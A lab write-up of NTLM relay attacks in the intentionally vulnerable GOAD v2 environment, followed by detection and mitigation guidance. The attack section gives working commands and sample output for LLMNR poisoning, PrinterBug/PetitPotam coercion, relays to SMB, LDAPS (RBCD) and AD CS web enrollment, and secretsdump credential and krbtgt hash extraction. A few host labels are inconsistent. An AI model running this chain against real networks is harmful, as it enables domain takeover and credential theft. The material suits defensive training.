NTLM Relaying in Practice — Coercion, Relay and Escalation on GOAD v2

Every technique shown here was run in an isolated lab environment (Game of Active Directory v2, subnet 192.168.56.0/24). GOAD is deliberately built to be vulnerable and is intended for authorized training only. None of these actions are legal against any system you don't hold written test authorization for.

NTLM relaying has been present for over twenty years, and the protocol core has not changed much. What has changed are the coercion primitives, the relay targets and — very late — the Microsoft defaults. This post walks the attack from the attacker’s side: from spotting relayable hosts, through forcing authentication, to domain takeover. The detections and mitigations that actually break this chain in a properly hardened environment come at the end.

Toolchain: everything on Linux — Impacket / NetExec / Coercer / Certipy. Attacker host in the lab is 192.168.56.1.

Attack chain overview

The important part about NTLM relaying is that the relay itself is only the transport mechanism. The real impact depends on the identity being relayed and the service that accepts it.

In this lab, the attack chain looks like this:

Identify systems that accept NTLM authentication without enforcing the right protections.
Obtain or coerce an NTLM authentication attempt.
Relay that authentication to a vulnerable target service.
Turn the relayed session into local or domain impact.
Break the chain with signing, channel binding, EPA and NTLM reduction.

This distinction matters because not every successful relay means domain compromise. Relaying a low-privileged user to a hardened service may lead nowhere. Relaying a privileged user, a server account or a domain controller account to a sensitive service can be a completely different story.

The attack is therefore not just: “Can I relay NTLM?”

The better question is:

Can I relay the right identity to the right service at the right moment?

Why relaying works in the first place

NTLM is a challenge-response scheme. The server sends an NTLM_CHALLENGE, the client computes the NTLM_AUTHENTICATE response derived from the NT hash. The key point: nothing in this exchange binds the authentication to the specific session or the specific target service — unless signing (integrity protection on the session) or channel binding (binding to the TLS channel, EPA/CBT) is negotiated and enforced.

That’s exactly where NTLM relaying sits. We position ourselves as a man-in-the-middle, accept a victim’s authentication and forward the challenge and response unchanged to a different target. We never learn the NT hash — and we don’t need to. We end up with an authenticated session on a host the victim never intended to connect to.

What’s relayable depends on the signing state of the target protocol. The matrix to keep in your head:

Source	Target	Condition	Result
SMB	SMB	target doesn’t enforce SMB signing	command exec / SAM dump
SMB	LDAP(S)	DC doesn’t enforce LDAP signing / channel binding	RBCD, Shadow Credentials, ACL edits
HTTP	LDAP(S)	as above	same
SMB/HTTP	HTTP (/certsrv)	Web Enrollment without EPA/HTTPS	AD CS ESC8 Attack

Recon – who’s relayable?

GOAD v2 consists of three domains across two forests. The DCs enforce SMB signing (the default for domain controllers), the member servers don’t — those are our NTLM relaying targets.

192.168.56.10  kingslanding.sevenkingdoms.local       sevenkingdoms.local       (DC)
192.168.56.11  winterfell.north.sevenkingdoms.local   north.sevenkingdoms.local (DC)
192.168.56.12  meereen.essos.local                    essos.local               (DC)
192.168.56.22  castelblack.north.sevenkingdoms.local  Member  (IIS/MSSQL/SMB share)
192.168.56.23  braavos.essos.local                    Member  (MSSQL/ADCS Web Enrollment)

Sweep first and grab the signing state:

$ nxc smb 192.168.56.0/24

SMB  192.168.56.10  445  KINGSLANDING  [*] Windows Server 2019 ... (signing:True)
SMB  192.168.56.11  445  WINTERFELL    [*] Windows Server 2019 ... (signing:True)
SMB  192.168.56.12  445  MEEREEN       [*] Windows Server 2016 ... (signing:True)
SMB  192.168.56.22  445  CASTELBLACK   [*] Windows Server 2019 ... (signing:False)
SMB  192.168.56.23  445  BRAAVOS       [*] Windows Server 2016 ... (signing:False)

signing:False means the target server is a possible target for NTLM relaying. Within the GOADv2 lab environment, CASTELBLACK and BRAAVOS are feasible targets.

The Auth primitive — where does the authentication come from?

NTLM relaying is useless without a victim that authenticates. There are two ways to achieve this:

1. Passive poisoning

Over LLMNR/NBT-NS/mDNS we answer failed name resolutions and pull authentications toward us. To make Responder hand authentication attempts to ntlmrelayx insted of capturing them itself, Responder’s SMB and HTTP servers have to be disabled:

sed -i 's/^SMB = On/SMB = Off/; s/^HTTP = On/HTTP = Off/' /usr/share/responder/Responder.conf
responder -I eth0 -dwv

In GOAD there are bots that generate LLMNR requests after a few minutes (among others as eddard.stark, Domain Admin of north).

2. Coercion

Cleaner and more targeted: we force a specific host (including a DC) to authenticate against us. The relevant RPC primitives:

# MS-RPRN (PrinterBug) — winterfell's spooler authenticates to us
printerbug.py 'north.sevenkingdoms.local/jon.snow:iknownothing@192.168.56.22' 192.168.56.1

# MS-EFSRPC (PetitPotam) — authenticates over LSARPC
PetitPotam.py -u jon.snow -p 'iknownothing' -d north.sevenkingdoms.local 192.168.56.1 192.168.56.22

# Coercer — automatically cycles through MS-RPRN, MS-EFSRPC, MS-DFSNM, MS-FSRVP, etc.
coercer coerce -u jon.snow -p 'iknownothing' -d north.sevenkingdoms.local -t 192.168.56.22 -l 192.168.56.1

The prerequisite for this attack chain is that valid standard domain user credentials are known to the attacker. In this case, the credentials of the user jon.snow@north.sevenkingdoms.local were used. Coercion forces the authentication of the machine account (castelblack$).

A sample output will look like this:

$ printerbug.py 'north.sevenkingdoms.local/jon.snow:iknownothing@192.168.56.22' 192.168.56.1
[*] Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attempting to trigger authentication via rprn RPC at 192.168.56.22
[*] Bind OK
[*] Got handle
[*] Triggered RPC backconnect, this may or may not have worked

A “negative” feedback from the coercion tools is normal and does not automatically mean that the coercion did not work. We need a tool to catch the authentication to validate if the coercion worked.

Relaying SMB to SMB

This is the simplest result. We relay the authentication of an account that is local admin on a server without SMB signing. eddard.stark is Domain Admin of north and therefore admin on castelblack.

ntlmrelayx.py -t smb://192.168.56.22 -smb2support
# automatically dumps SAM, LSA secrets, machine hash and DPAPI keys

The SAM dump yields local hashes and the machine account; the LSA secrets often contain cached credentials that can move you laterally. The output might look like this:

$ ntlmrelayx.py -t smb://192.168.56.22 -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Received connection from 192.168.56.22, attacking target smb://192.168.56.22
[*] Authenticating against smb://192.168.56.22 as NORTH/EDDARD.STARK SUCCEED
[*] Service RemoteRegistry is in stopped state, enabling it
[*] Target system bootKey: 0x9a1b...e4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5b4e8f3c...d21a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:7c0f...9e
NORTH\CASTELBLACK$:plain_password_hex:8a3f...
[*] Done dumping SAM/LSA/DPAPI

SMB-to-SMB is not domain takeover

Relaying SMB to SMB is a useful first demonstration because the impact is easy to understand. If the relayed identity has administrative rights on the target host, the attacker may be able to interact with that host as that identity.

That can lead to local compromise, local secret extraction, access to local administrative shares or further lateral movement opportunities.

However, SMB-to-SMB relaying is usually local impact first. It does not automatically mean domain compromise.

The difference is important:

Local impact means the attacker gained control over a specific machine.
Domain impact means the attacker gained control over Active Directory objects, reusable domain authentication material or a path to higher privileges.
Domain compromise usually requires that the relayed authentication can be turned into something persistent or reusable.

This is why LDAP and AD CS are so interesting from an attacker’s perspective. SMB may give access to a host. LDAP and AD CS can, depending on the environment, affect the identity layer itself.

The relay is only the door. The target service decides what is behind it.

Relaying to LDAP — when authentication becomes directory control

LDAP is a more sensitive relay target than a normal member server because LDAP is not just a login interface. It is the protocol used to interact with Active Directory objects.

If an attacker can relay NTLM authentication to LDAP or LDAPS and the relayed identity has the right permissions, the result may be more than a temporary session. The attacker may be able to modify directory objects.

This is where NTLM relaying becomes dangerous at the domain level.

Possible impacts depend heavily on the permissions of the relayed identity, but common abuse paths include:

modifying delegation-related attributes,
adding resource-based constrained delegation paths,
manipulating access control entries,
adding shadow credentials,
abusing computer account permissions,
or creating a new path for later authentication.

The key point is that the attacker still does not need to know the password. The relayed authentication can be enough to perform an action against Active Directory if the target accepts it and the identity has the necessary rights.

From a defender’s perspective, this is why LDAP signing and LDAP channel binding matter. They are not cosmetic hardening settings. They help prevent authentication from being detached from its original context and reused by an attacker-controlled relay.

Without those protections, a successful NTLM authentication may become an unintended write operation against the directory.

The RBCD chain

Choosing LDAP as the relay target can be abused by altering permissions inside the Active Directory (using LDAP) to take over the coerced target computer account.

$ ntlmrelayx.py -t ldaps://192.168.56.11 -smb2support --delegate-access
[*] SMBD-Thread-7: Received connection from 192.168.56.22, attacking target ldaps://192.168.56.11
[*] Authenticating against ldaps://192.168.56.11 as NORTH/CASTELBLACK$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=north,DC=sevenkingdoms,DC=local
[*] Adding new computer with username: WODGAARD$ and password: xT7!q...mK4 result: OK
[*] Delegation rights modified successfully!
[*] WODGAARD$ can now impersonate users on CASTELBLACK$ via S4U2Proxy

In this case, the computer object WODGAARD$ has been created by ntlmrelayx and delegation rights were configured in the Active Directory using the relayed LDAP connection.

The newly created computer object can now request service tickets for the SMB service (=cifs SPN) on the Domain Controller CASTELBLACK$ and impersonate any user on it.

$ getST.py -spn cifs/castelblack.north.sevenkingdoms.local \
    -impersonate Administrator -dc-ip 192.168.56.11 \
    'north.sevenkingdoms.local/WODGAARD$:xT7!q...mK4'
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

The now created service ticket can now be imported in our linux machine and used to gain administrative access to the Domain Controller CASTELBLACK$.

$ export KRB5CCNAME=Administrator@cifs_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
$ secretsdump.py -k -no-pass castelblack.north.sevenkingdoms.local
[*] Target system bootKey: 0x9a1b...e4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5b4e8f3c...d21a:::

With administrative access over the Domain Controller, the Domain has now fallen under the control of the attacker.

Relaying to AD CS — turning authentication into a certificate

Active Directory Certificate Services are especially attractive because certificates can become authentication material.

From an attacker’s perspective, AD CS is not just “PKI infrastructure”. It is part of the identity system. If certificate templates, enrollment endpoints or web enrollment services are misconfigured, a certificate may become a reusable way to authenticate as a user or machine.

This is where relay attacks against AD CS become powerful.

The attacker’s goal is not to learn the password. The goal is to transform a short-lived relayed authentication into a certificate that can be used later.

A simplified chain looks like this:

A victim system authenticates using NTLM.
The attacker relays this authentication to an AD CS enrollment endpoint.
The endpoint accepts the authentication.
A certificate is issued for the relayed identity.
The certificate can potentially be used for later authentication.

The dangerous part is persistence of access. A password may be changed. A session may expire. But a certificate can remain valid until it expires or is revoked.

In practice, an attacker might use the following tool chain to achieve this:

$ ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support \
    --adcs --template DomainController
[*] Received connection from 192.168.56.12, attacking target http://192.168.56.23
[*] Authenticating against http://192.168.56.23 as ESSOS/MEEREEN$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 14
[*] Base64 certificate of user MEEREEN$:
MIIRXQIBAzCCESc...

Similar to the coercion within the RBCD chain, a Domain Controller (MEREEN$) was forced to authenticate. The authentication was then relayed to the Active Directory Certificate Service web enrollment endpoint. This created a certificate valid for authentication as MEREEN$ from the certificate template “DomainController”.

Once the certificate is stored as a pfx file locally, a TGT for the Domain Controller account (MEREEN$ machine account) can be requested.

$ certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: meereen$@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for 'meereen$@essos.local': aad3b435b51404eeaad3b435b51404ee:9c1f...a7

With the TGT imported in the Terminal using the KRB5CCNAME environment variable, administrative access to the Domain Controller can now be validated with secretsdump:

$ secretsdump.py -k -no-pass meereen.essos.local -just-dc
[*] Using the DRSUAPI method to get NTDS.DIT secrets
essos.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b3d8...2f:::
essos.local\daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:...:::
[*] Kerberos keys grabbed

That is why AD CS exposure should be treated as a high-value attack surface in Active Directory environments.

For defenders, the important questions are:

Is AD CS present?
Are web enrollment services enabled?
Is NTLM accepted on those services?
Is Extended Protection for Authentication enabled?
Is HTTPS required?
Are certificate templates restricted appropriately?
Are certificate requests monitored?

A single overlooked AD CS endpoint can turn a relay opportunity into a reusable authentication path.

From relay to escalation

NTLM relaying is often misunderstood as a single technique with a single outcome. In reality, the impact depends on what the target service allows the relayed identity to do.

A useful way to think about it is this:

Relay target	Typical impact	Why it matters
SMB on a member server	Local host compromise	Can expose secrets, sessions and lateral movement paths
LDAP or LDAPS	Directory modification	Can affect delegation, credentials or object permissions
AD CS web enrollment	Certificate issuance	Can create reusable authentication material
Exchange / IIS-based Windows authentication	Service-specific abuse	Depends on the application and its configuration

The most important lesson is that the relay itself is not the privilege escalation. The escalation happens when the relayed authentication reaches a service that allows a meaningful action.

That is why attackers care about combinations:

Which identities can I coerce?
Which services accept relayed authentication?
Which protections are missing?
What can that identity do on that service?

A single weak link may not be enough. A weak identity path plus a weak service plus missing protocol protections can be.

Detection

Detecting NTLM relay is difficult because the authentication itself may look legitimate. The victim really did authenticate. The target really did accept the authentication. The suspicious part is the context.

Good detection should therefore focus on the attack chain instead of only looking for one event.

1. Poisoning and name-resolution abuse

Passive poisoning often leaves network-level indicators:

LLMNR, NBT-NS or mDNS responses from unexpected hosts,
WPAD or proxy discovery behavior resolving to unusual systems,
repeated authentication attempts to a workstation or unknown Linux host,
name-resolution traffic that does not match normal network behavior.

A useful defensive approach is to create canary hostnames that should never resolve. If those names suddenly receive responses, that can indicate poisoning activity.

2. Coercion activity

Coercion is harder to spot because it can use legitimate Windows protocols. The suspicious pattern is usually not one single packet, but the relationship between source, target and timing.

Signals worth investigating include:

servers or domain controllers authenticating to unexpected hosts,
machine accounts connecting to workstations or non-server IP addresses,
unusual RPC activity involving spooler, EFSRPC, LSARPC or DFS-related interfaces,
repeated authentication attempts triggered shortly after RPC access,
domain controller machine accounts initiating outbound SMB or HTTP authentication.

A domain controller authenticating to an unknown workstation or attacker-controlled host should always be suspicious.

3. Relay target activity

The target service often provides the strongest evidence.

For SMB relay, defenders should look for:

administrative logons from unusual source systems,
remote service creation,
access to administrative shares,
unexpected local SAM or LSA secret access patterns,
sudden lateral movement from a host that normally does not administer others.

For LDAP relay, defenders should monitor for directory changes such as:

modifications to msDS-AllowedToActOnBehalfOfOtherIdentity,
changes to KeyCredentialLink,
unexpected ACL changes,
newly created computer accounts,
delegation-related changes,
object changes shortly after suspicious NTLM authentication.

For AD CS relay, defenders should monitor:

certificate requests from unusual hosts,
certificate requests for privileged users or machine accounts,
enrollment activity from unexpected IP addresses,
certificate issuance events that do not match normal administrative workflows,
certificate authentication shortly after enrollment.

4. Post-relay behavior

The relay may only be the first observable step. The later actions often reveal the real impact.

Watch for:

lateral movement from newly compromised hosts,
authentication using newly obtained certificates,
sudden Kerberos activity involving identities that recently requested certificates,
remote execution behavior,
new services,
unusual administrative share access,
identity changes in Active Directory.

A good detection strategy correlates these events. One NTLM authentication may not be enough. But coercion activity, followed by LDAP writes, followed by certificate-based authentication is a much stronger signal.

Breaking the chain – Important mitigations

NTLM relaying works because several conditions line up at the same time. The best defense is therefore not one single setting, but breaking the chain at multiple points.

Enforce signing and channel binding

The most important protocol-level mitigations are:

enforce SMB signing where possible,
enforce LDAP signing,
enforce LDAP channel binding,
use HTTPS where required,
enable Extended Protection for Authentication on relevant services.

SMB signing helps prevent SMB authentication from being relayed to an unsigned SMB target.

LDAP signing and LDAP channel binding help protect domain controllers from accepting authentication that has been separated from its original connection context.

Extended Protection for Authentication is especially important for web-based Windows authentication scenarios because it helps bind authentication to the intended service and channel.

Harden AD CS

AD CS deserves dedicated attention.

Defensive actions should include:

identify all AD CS servers and enrollment endpoints,
require HTTPS for web enrollment,
enable Extended Protection for Authentication,
disable NTLM on AD CS web services where possible,
restrict certificate templates,
review enrollment permissions,
monitor certificate issuance,
remove unused or legacy enrollment services.

The goal is to make sure that a relayed authentication cannot be turned into a certificate.

Reduce NTLM exposure

The long-term goal should be to reduce NTLM dependency.

This usually requires a staged approach:

Audit where NTLM is still used.
Identify legacy systems and applications.
Replace NTLM with Kerberos or modern authentication where possible.
Restrict NTLM on sensitive systems.
Disable NTLM where business impact is understood.

Blindly disabling NTLM in a large environment can break legacy workflows. But leaving NTLM completely unrestricted creates unnecessary attack surface.

Reduce coercion opportunities

Coercion abuses legitimate services to force authentication. Defenders should reduce unnecessary exposure:

disable Print Spooler on servers and domain controllers where it is not required,
restrict unnecessary RPC access,
segment administrative systems,
monitor outbound authentication from sensitive servers,
block unnecessary outbound SMB and HTTP authentication paths.

Not every coercion primitive can be removed everywhere. But sensitive systems should not freely authenticate to arbitrary hosts.

Reduce poisoning opportunities

Passive capture and poisoning become harder when legacy name-resolution mechanisms are removed or restricted.

Consider:

disabling LLMNR where possible,
disabling NBT-NS where possible,
hardening WPAD behavior,
using DNS hygiene,
monitoring unexpected name-resolution responses,
isolating untrusted client networks.

Poisoning is often the easiest way for an attacker to obtain authentication material. Removing it raises the bar.

Improve identity hygiene

NTLM relay becomes more dangerous when too many identities have too much access.

Defensive measures include:

avoid broad local administrator rights,
implement administrative tiering,
separate workstation, server and domain administration,
protect privileged accounts,
restrict where admin accounts can log on,
monitor machine account behavior,
review delegation permissions.

If a relayed identity cannot do anything meaningful, the attack loses impact.

Common mistakes

“Our passwords are strong, so NTLM relay is not a problem.”

Strong passwords are important, but they do not stop relay attacks by themselves. In a relay scenario, the attacker is not necessarily trying to crack the password. The attacker is trying to reuse a valid authentication attempt in real time.

“SMB signing on domain controllers is enough.”

Domain controllers are important, but they are not the only relevant targets. Member servers, LDAP, AD CS and IIS-based services can all be part of a relay chain.

“HTTPS means AD CS is safe.”

HTTPS is important, but by itself it is not always enough. Web-based Windows authentication should also be reviewed for Extended Protection for Authentication and correct service configuration.

“We disabled LLMNR, so relay is solved.”

Disabling LLMNR helps against passive poisoning, but attackers may still use coercion techniques to force authentication. Relay prevention also requires hardening the target services.

“Successful logons are not suspicious.”

Relay attacks often involve successful authentication. The suspicious part is not always failure. It is the source, the timing, the target and the action that follows.

Conclusion

NTLM relaying is dangerous because it turns trust into transport.

The attacker does not need to know the password. The attacker does not always need malware. In many cases, the attacker only needs an authentication attempt and a target service that accepts it without sufficient protection.

The real risk comes from chaining:

a source that can be made to authenticate,
a target that accepts relayed NTLM,
an identity with useful permissions,
and a missing control such as signing, channel binding or EPA.

That is why NTLM relay should not be treated as an old lab trick. It remains relevant because many Windows environments still contain legacy authentication paths, partially hardened services and overlooked AD CS deployments.

The defensive goal is simple:

Break the chain before authentication becomes access.